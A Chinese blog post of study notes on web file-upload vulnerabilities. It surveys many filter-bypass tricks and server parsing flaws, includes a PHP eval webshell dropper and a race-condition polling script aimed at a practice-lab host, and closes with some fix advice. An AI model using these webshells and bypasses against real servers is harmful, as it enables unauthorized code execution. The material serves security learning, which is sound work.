| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> web安全之文件上传学习总结 -> 正文阅读 |
|
[PHP知识库]web安全之文件上传学习总结 |
概念?客户端 选择发送的文件->服务器接收->网站程序判断->临时文件->移动到指定的路径 ?服务器 接收的资源程序 文件上传时的错误代码
绕过客户端前端js验证绕过方式 1、禁用js 2、burp抓包修改后缀名 3、F12修改 4、本地提交 服务端检查检查后缀黑名单 1、代码思路 黑名单是设置不能通过的用户,黑名单以外的用户都能通过。 phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。 2、绕过 找漏网之鱼:cer、php3、php4、phtml等。 大小写绕过 :AsP、PhP 双写绕过:.pphphp 利用windows系统特性: 系统特性突破(绕过防火墙) 漏洞原理: 利用PHP 和 Windows环境的叠加特性,上传x.php:.jpg时,会生成x.php的空白文件,接着,以下符号在正则匹配时的相等性:
NTFS交换数据流(绕过防火墙) 漏洞原理:
例:
会被windows系统自动去掉不符合规则符号后面的内容 文件名后加空格----利用Windows系统特性 文件名后加点(.)----利用Windows系统特性 组合以上方法 代码迭代问题 只检测一次 可以根据环境进行组合绕过 白名单 1、代码思路 定义其他格式文件 jpg png fig jpeg ico 等,只要不符合以上格式后缀一律不让上传 2、绕过 MIME修改 媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。 MIME的组成结构非常简单;由类型与子类型两个字符串中间用 '/' 分隔而组成。不允许空格存在。type 表示可以被分多个子类的独立类别。subtype 表示细分后的每个类型。 通用的结构为:type/subtype MIME类型对大小写不敏感,但是传统写法都是小写。 我们只需要将Content-Type改为合适的类型就可以。 文件类型 ? 在网络请求中,常用的Content-Type有如下:text/html, text/plain, text/css, text/javascript, image/jpeg, image/png, image/gif, application/x-www-form-urlencoded, multipart/form-data, application/json, application/xml 等。
图片类型:
仅限制Content-Type的话,Burp抓包,修改Content-Type,然后放行,即可绕过 %00截断(GET型) 位置在url地址中 严谨获取后缀名的话 会获取最后一个 .后面的后缀 x.php.jpg直接上传达不到目的并且会被重命名 可被截断绕过 上传路径名%00截断绕过 上传的文件名写成11.jpg, save_path改成../upload/11.php%00,最后保存下来的文件就是11.php 文件上传%00截断的条件:
%00截断原理:
0x00截断(POST型) 位置在数据包中 0x00需要手动解码 而%00不需要,get请求对url编码进行解码,而post表单不对%00进行解码 burp抓包添加%00并解码 检查内容文件头检测 仅限制Content-Type的话,Burp抓包,修改Content-Type,然后放行,即可绕过 文件内容头检测 文件内容头检测 只验证文件内容头的话不安全,配合后缀名验证会安全些 添加GIF图片的文件头GIF89a,绕过GIF图片检查。 常见文件文件头 常见文件文件头_Xerath的博客-CSDN博客_jpg文件头 文件内容检查 检测内容是否合法或含有恶意代码 绕过检查<? 可以使用以下代码 html 插入 <script language="php"> 调用数据 例:
二次渲染 文件加载检测(文件内容检测) 漏洞原理: 服务器会根据用户上传的图片重新生成图片,但其十六进制文件有部分没有改变 常见的是对图像进行二次渲染,一般是调用PHP 的GD库 gif后缀做测试 保留部分插入后门代码 渲染函数导致可用图片webshell 攻击原理: 将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。 一个绕过GD库的Webshell生成器: https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE php图片二次渲染步骤 制作一张二次渲染过后,恶意代码依旧存在的png图片马
然后添加上述代码致payload.php 然后上网页运行127.0.0.1/payload.php 因为我们代码最后 会生成一个pass17.png 图片 再上传这张图片即可绕过 生成的图片后门 需要get post提交两个变量 get 0=phpinfo post 1=-1 利用文件包含漏洞即可运行代码 参考文档:【文件上传绕过】——二次渲染漏洞_剑客 getshell的博客-CSDN博客_二次渲染漏洞 代码逻辑单次过滤 双写文件名绕过 文件名改成xx.pphphp 条件竞争 一些网站允许上传任意文件,然后检测文件是否包含Webshell,如果有则删除该文件。 unlink()函数导致木马文件会在服务器存在一定的时间,再被清除。
绕过:
竞争删除前生成shell流程:
create_shell.php ?<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["x"])?>');?> ?python请求代码 ?import requests ?url = "https://830-d6af6a91-a30e-43e8-9e18-806f4c34cf37.do-not-trust.hacking.run/upload/1.php" ?try: ? ? i=1 ? ? while True: ? ? ? ? html = requests.get(url) ? ? ? ? # print(html.status_code) ? ? ? ? if html.status_code == 200: ? ? ? ? ? ? print("OK") ? ? ? ? ? ? break ? ? ? ? else: ? ? ? ? ? ? print('no'+str(i)) ? ? ? ? ? ? i=i+1 ?except: ? ? pass 防御方案: 对于文件上传,在将文件保存在本地前就进行相应的安全检查 解析安全参考 中间件解析漏洞 格式变异 php4 php5 phtml pht 等格式 这是有关apache的配置文件中设置问题 只要满足特点正则表达式即可 中间件解析 重写漏洞 ?条件: apache开启重写模块,LoadModule rewrite_module modules/mod_rewrite.so htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 黑白名单通用,如果可上传修改
nginx: 上传.user.ini文件,内容为:
把当前文件夹下的所有php文件都包含这个1.jpg 特别注意是当前文件夹下 加入目录里面有index.php和1.jpg,则此时访问index.php,网页中就包含了木马 其他:双文件上传漏洞漏洞原理: 往往对第一个文件上传进行检测而忽略第二个, 所以在第二个地方上传shell就行 iis7.0|iis7.5|nginx解析漏洞漏洞原理: 1、php.ini里cgi.fix_pathinfo=1(默认为1) 2、在”Handler Mapping”中取消勾选"仅当请求映射至以下内容时才调用处理程序" 漏洞利用: xxx.jpg/.php表示将图片当成php解析 nginx < 0.83 漏洞漏洞原理: %00截断 漏洞利用: /1.jpg%00php Apache未知扩展名解析漏洞Apache的解析漏洞依赖于一个特性: Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在mime.types文件内),则文件内),则继续向左识别,直到识别到合法后缀才进行解析。 漏洞利用:phpinfo.php.xxx 实战中可以上传rar,owf等文件进行利用,如果上传phpinfo.php.jpg,即使文件名中有.php,也会直接解析为jpg。因为Apache认识.jpg,停止继续向左识别。 Apache换行解析漏洞(CVE-2017-15715)影响范围:2.4.0~2.4.29版本 环境:phpstudy2014 Apache + PHP5.4n 此漏洞形成的根本原因,在于$, 正则表达式中$不仅匹配字符串结尾位置,也可以匹配\n 或 \r 在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
修复建议: 1、升级到最新版本 2、或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行脚本权限。 一句话木马php
asp
asp一句话木马 可以写在asp,asa,cdx,cer文件中,这些文件都能够识别 文件上传修复建议
代码审计中关注以下函数move_uploaded_file() //将上传的文件移动到新位置 全局搜索 文件上传代码
action属性是提交的目标。 method属性是提交所用的HTTP方法,常用的就是 POST 和 GET,文件上传一般用 POST。 enctype属性必须要写成这样,因为文件上传和普通的提交具有不同的编码方式。如果不写的话,可能会被当做urlencoded,就是k1=v1&k2=v2的键值对形式,导致解析不出东西。 最后是文件输入框,它的name属性非常重要,它是PHP脚本中寻找文件的关键字。 接下来是PHP脚本中的东西,PHP中通过$_FILES对象来读取文件,通过下列几个属性: $_FILESfile - 被上传文件的名称。 $_FILESfile - 被上传文件的类型。 $_FILESfile - 被上传文件的大小(字节)。 $_FILESfile - 被上传文件在服务器保存的路径,通常位于临时目录中。 $_FILESfile - 错误代码,0为无错误,其它都是有错误。 如果上传的是数组的话,会跳过$file = explode('.', strtolower($file));。并且后缀有白名单过滤。 而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。$file[0]为1.php/,也就是reset($file),然后再令$file[2]为白名单中的jpg。 此时end($file)等于jpg,$file[count($file) - 1]为空。而 $file_name = reset($file) . '.' . $file[count($file) - 1];,也就是1.php/.,最终move_uploaded_file会忽略掉/.,最终上传1.php。 相关函数: getimagesize($filename);函数判断文件是否为图片 exif_imagetype()检查是否为图片文件 imagecreatefromjpeg() 二次渲染函数 由文件或 URL 创建一个新图象。 实战思路文件上传不管是发现还是利用上都会根据产生层面而不同, 常规无资料采用常规思路测试,有资料的情况下直接参考资料进行。 上传分类常规网站 框架CMS 编辑器 中间件 有已知漏洞则利用已知漏洞 靶场项目地址:https://github.com/c0ny1/upload-labs https://github.com/admin360bug/upload-labs 后续笔记修改及完善会在个人学习记录更新 有一起学习的欢迎加qq群622816049共同讨论 |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/14 14:33:10- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |